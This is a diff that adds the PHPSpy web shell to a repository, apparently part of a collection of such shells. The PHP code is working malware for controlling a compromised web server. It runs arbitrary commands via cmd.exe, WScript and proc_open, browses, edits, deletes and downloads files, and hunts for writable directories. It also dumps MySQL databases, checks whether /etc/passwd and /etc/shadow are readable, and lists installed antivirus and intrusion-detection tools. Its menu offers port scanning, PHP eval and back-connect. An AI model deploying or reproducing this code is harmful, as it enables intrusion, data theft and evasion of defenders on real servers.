year:'); + makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4)); + p('month:'); + makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2)); + p('day:'); + makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2)); + p('hour:'); + makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2)); + p('minute:'); + makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2)); + p('second:'); + makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2)); + p('

'); + formfooter(); + goback(); +}//end newtime + +elseif ($action == 'shell') { + if (IS_WIN && IS_COM) { + if($program && $parameter) { + $shell= new COM('Shell.Application'); + $a = $shell->ShellExecute($program,$parameter); + m('Program run has '.(!$a ? 'success' : 'fail')); + } + !$program && $program = 'c:\windows\system32\cmd.exe'; + !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt'; + formhead(array('title'=>'Execute Program')); + makehide('action','shell'); + makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1)); + p('

'); + makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter)); + makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); + p('

'); + formfoot(); + } + formhead(array('title'=>'Execute Command')); + makehide('action','shell'); + if (IS_WIN && IS_COM) { + $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open'); + makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1)); + } + p('

'); + makeinput(array('title'=>'Command','name'=>'command','value'=>htmlspecialchars($command))); + makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); + p('

'); + formfoot(); + + if ($command) { + p('
');
+		if ($execfunc=='wscript' && IS_WIN && IS_COM) {
+			$wsh = new COM('WScript.shell');
+			$exec = $wsh->exec('cmd.exe /c '.$command);
+			$stdout = $exec->StdOut();
+			$stroutput = $stdout->ReadAll();
+			echo $stroutput;
+		} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
+			$descriptorspec = array(
+			   0 => array('pipe', 'r'),
+			   1 => array('pipe', 'w'),
+			   2 => array('pipe', 'w')
+			);
+			$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
+			if (is_resource($process)) {
+				fwrite($pipes[0], $command."\r\n");
+				fwrite($pipes[0], "exit\r\n");
+				fclose($pipes[0]);
+				while (!feof($pipes[1])) {
+					echo fgets($pipes[1], 1024);
+				}
+				fclose($pipes[1]);
+				while (!feof($pipes[2])) {
+					echo fgets($pipes[2], 1024);
+				}
+				fclose($pipes[2]);
+				proc_close($process);
+			}
+		} else {
+			echo(execute($command));
+		}
+		p('
'); + } +}//end shell + +elseif ($action == 'phpenv') { + $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'; + $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'); + !$dis_func && $dis_func = 'No'; + $info = array( + 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)), + 2 => array('Server Domain',$_SERVER['SERVER_NAME']), + 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])), + 4 => array('Server OS',PHP_OS), + 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']), + 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']), + 7 => array('Server Web Port',$_SERVER['SERVER_PORT']), + 8 => array('PHP run mode',strtoupper(php_sapi_name())), + 9 => array('The file path',__FILE__), + + 10 => array('PHP Version',PHP_VERSION), + 11 => array('PHPINFO',(IS_PHPINFO ? 'Yes' : 'No')), + 12 => array('Safe Mode',getcfg('safe_mode')), + 13 => array('Administrator',$adminmail), + 14 => array('allow_url_fopen',getcfg('allow_url_fopen')), + 15 => array('enable_dl',getcfg('enable_dl')), + 16 => array('display_errors',getcfg('display_errors')), + 17 => array('register_globals',getcfg('register_globals')), + 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')), + 19 => array('memory_limit',getcfg('memory_limit')), + 20 => array('post_max_size',getcfg('post_max_size')), + 21 => array('upload_max_filesize',$upsize), + 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'), + 23 => array('disable_functions',$dis_func), + ); + + if($phpvarname) { + m($phpvarname .' : '.getcfg($phpvarname)); + } + + formhead(array('title'=>'Server environment')); + makehide('action','phpenv'); + makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1)); + formfooter(); + + $hp = array(0=> 'Server', 1=> 'PHP'); + for($a=0;$a<2;$a++) { + p('

'.$hp[$a].' »

'); + p(''); + } +}//end phpenv + +elseif ($action == 'secinfo') { + + secparam('Server software', @getenv('SERVER_SOFTWARE')); + secparam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none'); + secparam('Open base dir', @ini_get('open_basedir')); + secparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); + secparam('Safe mode include dir', @ini_get('safe_mode_include_dir')); + secparam('cURL support', function_exists('curl_version')?'enabled':'no'); + $temp=array(); + if(function_exists('mysql_get_client_info')) + $temp[] = "MySql (".mysql_get_client_info().")"; + if(function_exists('mssql_connect')) + $temp[] = "MSSQL"; + if(function_exists('pg_connect')) + $temp[] = "PostgreSQL"; + if(function_exists('oci_connect')) + $temp[] = "Oracle"; + secparam('Supported databases', implode(', ', $temp)); + + if( !IS_WIN ) { + $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); + $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); + $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); + secparam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes" : 'no'); + secparam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes" : 'no'); + secparam('OS version', @file_get_contents('/proc/version')); + secparam('Distr name', @file_get_contents('/etc/issue.net')); + $safe_mode = @ini_get('safe_mode'); + if(!$GLOBALS['safe_mode']) { + $temp=array(); + foreach ($userful as $item) + if(which($item)){$temp[]=$item;} + secparam('Userful', implode(', ',$temp)); + $temp=array(); + foreach ($danger as $item) + if(which($item)){$temp[]=$item;} + secparam('Danger', implode(', ',$temp)); + $temp=array(); + foreach ($downloaders as $item) + if(which($item)){$temp[]=$item;} + secparam('Downloaders', implode(', ',$temp)); + secparam('Hosts', @file_get_contents('/etc/hosts')); + secparam('HDD space', execute('df -h')); + secparam('Mount options', @file_get_contents('/etc/fstab')); + } + } else { + secparam('OS Version',execute('ver')); + secparam('Account Settings',execute('net accounts')); + secparam('User Accounts',execute('net user')); + secparam('IP Configurate',execute('ipconfig -all')); + } +}//end + +else { + m('Undefined Action'); +} + +?> + +
+ + Powered by 2011. Copyright (C) 2004-2011 Security Angel Team [S4T] All Rights Reserved. +
+ + + +'.$n.' »'); + p('
'); + if(strpos($v, "\n") === false) + p($v.'
'); + else + p('
'.$v.'
'); + p('
'); + } +} +function m($msg) { + echo '
'; + echo $msg; + echo '
'; +} +function scookie($key, $value, $life = 0, $prefix = 1) { + global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife; + $key = ($prefix ? $cookiepre : '').$key; + $life = $life ? $life : $cookielife; + $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0; + setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport); +} +function multi($num, $perpage, $curpage, $tablename) { + $multipage = ''; + if($num > $perpage) { + $page = 10; + $offset = 5; + $pages = @ceil($num / $perpage); + if($page > $pages) { + $from = 1; + $to = $pages; + } else { + $from = $curpage - $offset; + $to = $curpage + $page - $offset - 1; + if($from < 1) { + $to = $curpage + 1 - $from; + $from = 1; + if(($to - $from) < $page && ($to - $from) < $pages) { + $to = $page; + } + } elseif($to > $pages) { + $from = $curpage - $pages + $to; + $to = $pages; + if(($to - $from) < $page && ($to - $from) < $pages) { + $from = $pages - $page + 1; + } + } + } + $multipage = ($curpage - $offset > 1 && $pages > $page ? 'First ' : '').($curpage > 1 ? 'Prev ' : ''); + for($i = $from; $i <= $to; $i++) { + $multipage .= $i == $curpage ? $i.' ' : '['.$i.'] '; + } + $multipage .= ($curpage < $pages ? 'Next' : '').($to < $pages ? ' Last' : ''); + $multipage = $multipage ? '

Pages: '.$multipage.'

' : ''; + } + return $multipage; +} +// µÇ½Èë¿Ú +function loginpage() { +?> + + + Password: + + + +Can not connect to MySQL server'); + exit; + } + if($link && $dbname) { + if (!@mysql_select_db($dbname, $link)) { + p('

Database selected has error

'); + exit; + } + } + if($link && mysql_get_server_info() > '4.1') { + if($charset && in_array(strtolower($charset), $charsetdb)) { + q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link); + } + } + return $link; +} + +// È¥µôתÒå×Ö·û +function s_array(&$array) { + if (is_array($array)) { + foreach ($array as $k => $v) { + $array[$k] = s_array($v); + } + } else if (is_string($array)) { + $array = stripslashes($array); + } + return $array; +} + +// Çå³ýHTML´úÂë +function html_clean($content) { + $content = htmlspecialchars($content); + $content = str_replace("\n", "
", $content); + $content = str_replace(" ", "  ", $content); + $content = str_replace("\t", "    ", $content); + return $content; +} + +// »ñȡȨÏÞ +function getChmod($filepath){ + return substr(base_convert(@fileperms($filepath),10,8),-4); +} + +function getPerms($filepath) { + $mode = @fileperms($filepath); + if (($mode & 0xC000) === 0xC000) {$type = 's';} + elseif (($mode & 0x4000) === 0x4000) {$type = 'd';} + elseif (($mode & 0xA000) === 0xA000) {$type = 'l';} + elseif (($mode & 0x8000) === 0x8000) {$type = '-';} + elseif (($mode & 0x6000) === 0x6000) {$type = 'b';} + elseif (($mode & 0x2000) === 0x2000) {$type = 'c';} + elseif (($mode & 0x1000) === 0x1000) {$type = 'p';} + else {$type = '?';} + + $owner['read'] = ($mode & 00400) ? 'r' : '-'; + $owner['write'] = ($mode & 00200) ? 'w' : '-'; + $owner['execute'] = ($mode & 00100) ? 'x' : '-'; + $group['read'] = ($mode & 00040) ? 'r' : '-'; + $group['write'] = ($mode & 00020) ? 'w' : '-'; + $group['execute'] = ($mode & 00010) ? 'x' : '-'; + $world['read'] = ($mode & 00004) ? 'r' : '-'; + $world['write'] = ($mode & 00002) ? 'w' : '-'; + $world['execute'] = ($mode & 00001) ? 'x' : '-'; + + if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';} + if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';} + if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';} + + return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute']; +} + +function getUser($filepath) { + if (function_exists('posix_getpwuid')) { + $array = @posix_getpwuid(@fileowner($filepath)); + if ($array && is_array($array)) { + return ' / '.$array['name'].''; + } + } + return ''; +} + +// ɾ³ýĿ¼ +function deltree($deldir) { + $mydir=@dir($deldir); + while($file=$mydir->read()) { + if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { + @chmod($deldir.'/'.$file,0777); + deltree($deldir.'/'.$file); + } + if (is_file($deldir.'/'.$file)) { + @chmod($deldir.'/'.$file,0777); + @unlink($deldir.'/'.$file); + } + } + $mydir->close(); + @chmod($deldir,0777); + return @rmdir($deldir) ? 1 : 0; +} + +// ±í¸ñÐмäµÄ±³¾°É«Ìæ»» +function bg() { + global $bgc; + return ($bgc++%2==0) ? 'alt1' : 'alt2'; +} + +// »ñÈ¡µ±Ç°µÄÎļþϵͳ·¾¶ +function getPath($scriptpath, $nowpath) { + if ($nowpath == '.') { + $nowpath = $scriptpath; + } + $nowpath = str_replace('\\', '/', $nowpath); + $nowpath = str_replace('//', '/', $nowpath); + if (substr($nowpath, -1) != '/') { + $nowpath = $nowpath.'/'; + } + return $nowpath; +} + +// »ñÈ¡µ±Ç°Ä¿Â¼µÄÉϼ¶Ä¿Â¼ +function getUpPath($nowpath) { + $pathdb = explode('/', $nowpath); + $num = count($pathdb); + if ($num > 2) { + unset($pathdb[$num-1],$pathdb[$num-2]); + } + $uppath = implode('/', $pathdb).'/'; + $uppath = str_replace('//', '/', $uppath); + return $uppath; +} + +// ¼ì²éPHPÅäÖòÎÊý +function getcfg($varname) { + $result = get_cfg_var($varname); + if ($result == 0) { + return 'No'; + } elseif ($result == 1) { + return 'Yes'; + } else { + return $result; + } +} + +// ¼ì²éº¯ÊýÇé¿ö +function getfun($funName) { + return (false !== function_exists($funName)) ? 'Yes' : 'No'; +} + +// »ñµÃÎļþÀ©Õ¹Ãû +function getext($file) { + $info = pathinfo($file); + return $info['extension']; +} + +function GetWDirList($dir){ + global $dirdata,$j,$nowpath; + !$j && $j=1; + if ($dh = opendir($dir)) { + while ($file = readdir($dh)) { + $f=str_replace('//','/',$dir.'/'.$file); + if($file!='.' && $file!='..' && is_dir($f)){ + if (is_writable($f)) { + $dirdata[$j]['filename']=str_replace($nowpath,'',$f); + $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); + $dirdata[$j]['dirchmod']=getChmod($f); + $dirdata[$j]['dirperm']=getPerms($f); + $dirdata[$j]['dirlink']=$dir; + $dirdata[$j]['server_link']=$f; + $j++; + } + GetWDirList($f); + } + } + closedir($dh); + clearstatcache(); + return $dirdata; + } else { + return array(); + } +} + +function GetWFileList($dir){ + global $filedata,$j,$nowpath, $writabledb; + !$j && $j=1; + if ($dh = opendir($dir)) { + while ($file = readdir($dh)) { + $ext = getext($file); + $f=str_replace('//','/',$dir.'/'.$file); + if($file!='.' && $file!='..' && is_dir($f)){ + GetWFileList($f); + } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){ + if (is_writable($f)) { + $filedata[$j]['filename']=str_replace($nowpath,'',$f); + $filedata[$j]['size']=sizecount(@filesize($f)); + $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); + $filedata[$j]['filechmod']=getChmod($f); + $filedata[$j]['fileperm']=getPerms($f); + $filedata[$j]['fileowner']=getUser($f); + $filedata[$j]['dirlink']=$dir; + $filedata[$j]['server_link']=$f; + $j++; + } + } + } + closedir($dh); + clearstatcache(); + return $filedata; + } else { + return array(); + } +} + +function GetSFileList($dir, $content, $re = 0) { + global $filedata,$j,$nowpath, $writabledb; + !$j && $j=1; + if ($dh = opendir($dir)) { + while ($file = readdir($dh)) { + $ext = getext($file); + $f=str_replace('//','/',$dir.'/'.$file); + if($file!='.' && $file!='..' && is_dir($f)){ + GetSFileList($f, $content, $re = 0); + } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){ + $find = 0; + if ($re) { + if ( preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f)) ){ + $find = 1; + } + } else { + if ( strstr($file, $content) || strstr( @file_get_contents($f),$content ) ) { + $find = 1; + } + } + if ($find) { + $filedata[$j]['filename']=str_replace($nowpath,'',$f); + $filedata[$j]['size']=sizecount(@filesize($f)); + $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); + $filedata[$j]['filechmod']=getChmod($f); + $filedata[$j]['fileperm']=getPerms($f); + $filedata[$j]['fileowner']=getUser($f); + $filedata[$j]['dirlink']=$dir; + $filedata[$j]['server_link']=$f; + $j++; + } + } + } + closedir($dh); + clearstatcache(); + return $filedata; + } else { + return array(); + } +} + +function qy($sql) { + //echo $sql.'
'; + $res = $error = ''; + if(!$res = @mysql_query($sql)) { + return 0; + } else if(is_resource($res)) { + return 1; + } else { + return 2; + } + return 0; +} + +function q($sql) { + return @mysql_query($sql); +} + +function fr($qy){ + mysql_free_result($qy); +} + +function sizecount($fileSize) { + $size = sprintf("%u", $fileSize); + if($size == 0) { + return '0 Bytes' ; + } + $sizename = array(' Bytes', ' KB', ' MB', ' GB', ' TB', ' PB', ' EB', ' ZB', ' YB'); + return round( $size / pow(1024, ($i = floor(log($size, 1024)))), 2) . $sizename[$i]; +} + +// ±¸·ÝÊý¾Ý¿â +function sqldumptable($table, $fp=0) { + + $tabledump = "DROP TABLE IF EXISTS `$table`;\n"; + $res = q('SHOW CREATE TABLE `'.$table.'`'); + $create = mysql_fetch_array($res); + $tabledump .= $create[1].";\n\n"; + + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + $tabledump = ''; + $rows = q("SELECT * FROM $table"); + while ($row = mysql_fetch_assoc($rows)) { + foreach($row as $k=>$v) { + $row[$k] = "'".@mysql_real_escape_string($v)."'"; + } + $tabledump = 'INSERT INTO `'.$table.'` VALUES ('.implode(", ", $row).');'."\n"; + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + } + fr($rows); +} + +function p($str){ + echo $str."\n"; +} + +function tbhead() { + p(''); +} +function tbfoot(){ + p('
'); +} + +function makehide($name,$value=''){ + p(""); +} + +function makeinput($arg = array()){ + $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\""; + $arg['extra'] = $arg['extra'] ? $arg['extra'] : ''; + !$arg['type'] && $arg['type'] = 'text'; + $arg['title'] = $arg['title'] ? $arg['title'].'
' : ''; + $arg['class'] = $arg['class'] ? $arg['class'] : 'input'; + if ($arg['newline']) { + p("

$arg[title]

"); + } else { + p("$arg[title]"); + } +} + +function makeselect($arg = array()){ + if ($arg['onchange']) { + $onchange = 'onchange="'.$arg['onchange'].'"'; + } + $arg['title'] = $arg['title'] ? $arg['title'] : ''; + if ($arg['newline']) p('

'); + p("$arg[title] "); + if ($arg['newline']) p('

'); +} +function formhead($arg = array()) { + global $self; + !$arg['method'] && $arg['method'] = 'post'; + !$arg['action'] && $arg['action'] = $self; + $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : ''; + !$arg['name'] && $arg['name'] = 'form1'; + p("
"); + if ($arg['title']) { + p('

'.$arg['title'].' »

'); + } +} + +function maketext($arg = array()){ + !$arg['cols'] && $arg['cols'] = 100; + !$arg['rows'] && $arg['rows'] = 25; + $arg['title'] = $arg['title'] ? $arg['title'].'
' : ''; + p("

$arg[title]

"); +} + +function formfooter($name = ''){ + !$name && $name = 'submit'; + p('

'); + p('
'); +} + +function goback(){ + global $self, $nowpath; + p('

'); +} + +function formfoot(){ + p(''); +} + +function encode_pass($pass) { + $pass = md5('angel'.$pass); + $pass = md5($pass.'angel'); + $pass = md5('angel'.$pass.'angel'); + return $pass; +} + +function pr($s){ + echo "
".print_r($s).'
'; +} + +?> \ No newline at end of file diff --git a/php/phpspy/2013加密.php b/php/phpspy/2013加密.php new file mode 100644 index 0000000..41dc551 --- /dev/null +++ b/php/phpspy/2013加密.php @@ -0,0 +1,7 @@ + \ No newline at end of file diff --git a/php/phpspy/2013未加密.php b/php/phpspy/2013未加密.php new file mode 100644 index 0000000..ee3f85d --- /dev/null +++ b/php/phpspy/2013未加密.php @@ -0,0 +1,1616 @@ + 'big5', + 'cp-866' => 'cp866', + 'euc-jp' => 'ujis', + 'euc-kr' => 'euckr', + 'gbk' => 'gbk', + 'iso-8859-1' => 'latin1', + 'koi8-r' => 'koi8r', + 'koi8-u' => 'koi8u', + 'utf-8' => 'utf8', + 'windows-1252' => 'latin1', +); + +$act = isset($P['act']) ? $P['act'] : ''; +$charset = isset($P['charset']) ? $P['charset'] : 'gbk'; +$doing = isset($P['doing']) ? $P['doing'] : ''; + +for ($i=1;$i<=4;$i++) { + ${'p'.$i} = isset($P['p'.$i]) ? $P['p'.$i] : ''; +} + +if (isset($charsetdb[$charset])) { + header("content-Type: text/html; charset=".$charset); +} + +$timestamp = time(); + +/* Éí·ÝÑéÖ¤ */ +if ($act == "logout") { + scookie('loginpass', '', -86400 * 365); + @header('Location: '.SELF); + exit; +} +if($pass) { + if ($act == 'login') { + if ($pass == encode_pass($P['password'])) { + scookie('loginpass',encode_pass($P['password'])); + @header('Location: '.SELF); + exit; + } + } + if (isset($_COOKIE['loginpass'])) { + if ($_COOKIE['loginpass'] != $pass) { + loginpage(); + } + } else { + loginpage(); + } +} +/* ÑéÖ¤½áÊø */ + +$errmsg = ''; +$uchar = '▲'; +$dchar = '▼'; +!$act && $act = 'file'; + +//µ±Ç°Ä¿Â¼/ÉèÖù¤×÷Ŀ¼/ÍøÕ¾¸ùĿ¼ +$home_cwd = getcwd(); +if (isset($P['cwd']) && $P['cwd']) { + chdir($P['cwd']); +} else { + chdir(SA_ROOT); +} +$cwd = getcwd(); +$web_cwd = $_SERVER['DOCUMENT_ROOT']; +foreach (array('web_cwd','cwd','home_cwd') as $k) { + if (IS_WIN) { + $$k = str_replace('\\', '/', $$k); + } + if (substr($$k, -1) != '/') { + $$k = $$k.'/'; + } +} + +// ²é¿´PHPINFO +if ($act == 'phpinfo') { + if (IS_PHPINFO) { + phpinfo(); + exit; + } else { + $errmsg = 'phpinfo() function has disabled'; + } +} + +if(!function_exists('scandir')) { + function scandir($cwd) { + $files = array(); + $dh = opendir($cwd); + while ($file = readdir($dh)) { + $files[] = $file; + } + return $files ? $files : 0; + } +} + +if ($act == 'down') { + if (is_file($p1) && is_readable($p1)) { + @ob_end_clean(); + $fileinfo = pathinfo($p1); + if (function_exists('mime_content_type')) { + $type = @mime_content_type($p1); + header("Content-Type: ".$type); + } else { + header('Content-type: application/x-'.$fileinfo['extension']); + } + header('Content-Disposition: attachment; filename='.$fileinfo['basename']); + header('Content-Length: '.sprintf("%u", @filesize($p1))); + @readfile($p1); + exit; + } else { + $errmsg = 'Can\'t read file'; + $act = 'file'; + } +} +?> + + + +<?php echo $act.' - '.$_SERVER['HTTP_HOST'];?> + + + + +'opform')); +makehide('act', $act); +makehide('cwd', $cwd); +makehide('p1', $p1); +makehide('p2', $p2); +makehide('p3', $p3); +makehide('p4', $p4); +makehide('charset', $charset); +formfoot(); + +if(!function_exists('posix_getegid')) { + $user = @get_current_user(); + $uid = @getmyuid(); + $gid = @getmygid(); + $group = "?"; +} else { + $uid = @posix_getpwuid(@posix_geteuid()); + $gid = @posix_getgrgid(@posix_getegid()); + $uid = $uid['uid']; + $user = $uid['name']; + $gid = $gid['gid']; + $group = $gid['name']; +} +?> + + + + + + + +
/ User: ()
+ Charset: + 'charset','option'=>$charsetdb,'selected'=>$charset,'onchange'=>'g(null,null,null,null,null,null,this.value);')); + ?> + + Logout | + File Manager | + MYSQL Manager | + Execute Command | + PHP Variable | + Port Scan | + Security information | + Eval PHP Code + | Back Connect +
+'); + + $sort = array('filename', 1); + if($p1) { + if(preg_match('!s_([A-z_]+)_(\d{1})!', $p1, $match)) { + $sort = array($match[1], (int)$match[2]); + } + } + + formhead(array('name'=>'flist')); + makehide('act','file'); + makehide('p1',''); + makehide('cwd',$cwd); + makehide('charset',$charset); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + + //²é¿´ËùÓпÉдÎļþºÍĿ¼ + $dirdata=$filedata=array(); + + if ($p4 == 'dir') { + $dirdata = GetWDirList($cwd); + $filedata = array(); + } else { + // ĬÈÏĿ¼Áбí + $dirs = @scandir($cwd); + if ($dirs) { + $dirs = array_diff($dirs, array('.')); + foreach ($dirs as $file) { + $filepath=$cwd.$file; + if(@is_dir($filepath)){ + $dirdb['filename']=$file; + $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); + $dirdb['chmod']=getChmod($filepath); + $dirdb['perm']=PermsColor($filepath); + $dirdb['owner']=getUser($filepath); + $dirdb['link']=$filepath; + if ($file=='..') { + $dirdata['up']=1; + } else { + $dirdata[]=$dirdb; + } + } else { + $filedb['filename']=$file; + //$filedb['size']=@filesize($filepath); + $filedb['size']=sprintf("%u", @filesize($filepath)); + $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); + $filedb['chmod']=getChmod($filepath); + $filedb['perm']=PermsColor($filepath); + $filedb['owner']=getUser($filepath); + $filedb['link']=$filepath; + $filedata[]=$filedb; + } + } + unset($dirdb); + unset($filedb); + } + } + $dir_i = '0'; + if (isset($dirdata['up'])) { + $thisbg = bg(); + p(''); + p(''); + p(''); + } + unset($dirdata['up']); + usort($dirdata, 'cmp'); + usort($filedata, 'cmp'); + foreach($dirdata as $key => $dirdb){ + if($p1 == 'getsize' && $p2 == $dirdb['filename']) { + $attachsize = dirsize($p2); + $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown'; + } else { + $attachsize = 'Stat'; + } + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + $dir_i++; + } + + p(''); + $file_i = '0'; + + foreach($filedata as $key => $filedb){ + $fileurl = '/'.str_replace($web_cwd,'',$filedb['link']); + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + $file_i++; + } + p(''); + p('
+$('opform').p1.value='';$('opform').p2.value='';"; + } + //²Ù×÷Íê±Ï + $free = @disk_free_space($cwd); + !$free && $free = 0; + $all = @disk_total_space($cwd); + !$all && $all = 0; + $used = $all-$free; + p('

File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.@round(100/($all/$free),2).'%)

'); + + $cwd_links = ''; + $path = explode('/', $cwd); + $n=count($path); + for($i=0;$i<$n-1;$i++) { + $cwd_links .= ''.$path[$i].'/'; + } + +?> + +
+
+ + + + + +
()
+ + + + + + + +
+'); + foreach( range('A','Z') as $drive ) { + if (is_dir($drive.':/')) { + p($comma.''.$drive.':\'); + $comma = '|'; + } + } + p('
'); + } +?> + +'); + p('
'); + p('
'); + p('WebRoot'); + p(' | ScriptPath'); + p(' | View Writable Directory '); + p(' | Create Directory | Create File'); + p('
Filename '.($p1 == 's_filename_0' ? $dchar : '').($p1 == 's_filename_1' || !$p1 ? $uchar : '').'Last modified '.($p1 == 's_mtime_0' ? $dchar : '').($p1 == 's_mtime_1' ? $uchar : '').'Size '.($p1 == 's_size_0' ? $dchar : '').($p1 == 's_size_1' ? $uchar : '').'Chmod / PermsAction
-Parent Directory
'.$dirdb['filename'].''.$dirdb['mtime'].''.$attachsize.''); + p(''.$dirdb['chmod'].' / '); + p(''.$dirdb['perm'].''.$dirdb['owner'].'Rename
'.((strpos($filedb['link'], $web_cwd) !== false) ? ''.$filedb['filename'].'' : $filedb['filename']).''.$filedb['mtime'].''.sizecount($filedb['size']).''); + p(''.$filedb['chmod'].' / '); + p(''.$filedb['perm'].''.$filedb['owner'].''); + p('Down | '); + p('Edit | '); + p('Rename'); + p('
Delete | Copy | Move'.(isset($_SESSION['do']) && @count($_SESSION['dl']) ? ' | Paste' : '').''.$dir_i.' directories / '.$file_i.' files
'); +}// end dir + +elseif ($act == 'mysqladmin') { + $order = isset($P['order']) ? $P['order'] : ''; + $dbhost = isset($P['dbhost']) ? $P['dbhost'] : ''; + $dbuser = isset($P['dbuser']) ? $P['dbuser'] : ''; + $dbpass = isset($P['dbpass']) ? $P['dbpass'] : ''; + $dbname = isset($P['dbname']) ? $P['dbname'] : ''; + $tablename = isset($P['tablename']) ? $P['tablename'] : ''; + + if ($doing == 'dump') { + if (isset($P['bak_table']) && $P['bak_table']) { + $DB = new DB_MySQL; + $DB->charsetdb = $charsetdb; + $DB->charset = $charset; + $DB->connect($dbhost, $dbuser, $dbpass, $dbname); + if ($P['saveasfile'] && $P['bak_path']) { + $fp = @fopen($P['bak_path'],'w'); + if ($fp) { + foreach($P['bak_table'] as $k => $v) { + if ($v) { + $DB->sqldump($v, $fp); + } + } + fclose($fp); + $fileurl = str_replace(SA_ROOT,'',$P['bak_path']); + m('Database has backup to '.$P['bak_path'].''); + } else { + m('Backup failed'); + } + } else { + @ob_end_clean(); + $filename = basename($dbname.'.sql'); + header('Content-type: application/unknown'); + header('Content-Disposition: attachment; filename='.$filename); + foreach($P['bak_table'] as $k => $v) { + if ($v) { + $DB->sqldump($v); + } + } + exit; + } + $DB->close(); + } else { + m('Please choose the table'); + } + $doing = ''; + } + + formhead(array('title'=>'MYSQL Manager', 'name'=>'dbform')); + makehide('act','mysqladmin'); + makehide('doing',$doing); + makehide('charset', $charset); + makehide('tablename', $tablename); + makehide('order', $order); + p('

'); + p('DBHost:'); + makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); + p('DBUser:'); + makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); + p('DBPass:'); + makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); + makeinput(array('value'=>'Connect','type'=>'submit','class'=>'bt')); + p('

'); + + if ($dbhost && $dbuser && isset($dbpass)) { + + // ³õʼ»¯Êý¾Ý¿âÀà + $DB = new DB_MySQL; + $DB->charsetdb = $charsetdb; + $DB->charset = $charset; + $DB->connect($dbhost, $dbuser, $dbpass, $dbname); + + //»ñÈ¡Êý¾Ý¿âÐÅÏ¢ + p('

MySQL '.$DB->version().' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'

'); + $highver = $DB->version() > '4.1' ? 1 : 0; + + //»ñÈ¡Êý¾Ý¿â + $query = $DB->query("SHOW DATABASES"); + $dbs = array(); + $dbs[] = '-- Select a database --'; + while($db = $DB->fetch($query)) { + $dbs[$db['Database']] = $db['Database']; + } + makeselect(array('name'=>'dbname','option'=>$dbs,'selected'=>$dbname,'onchange'=>'setdb(this.options[this.selectedIndex].value)')); + + if ($dbname) { + p('

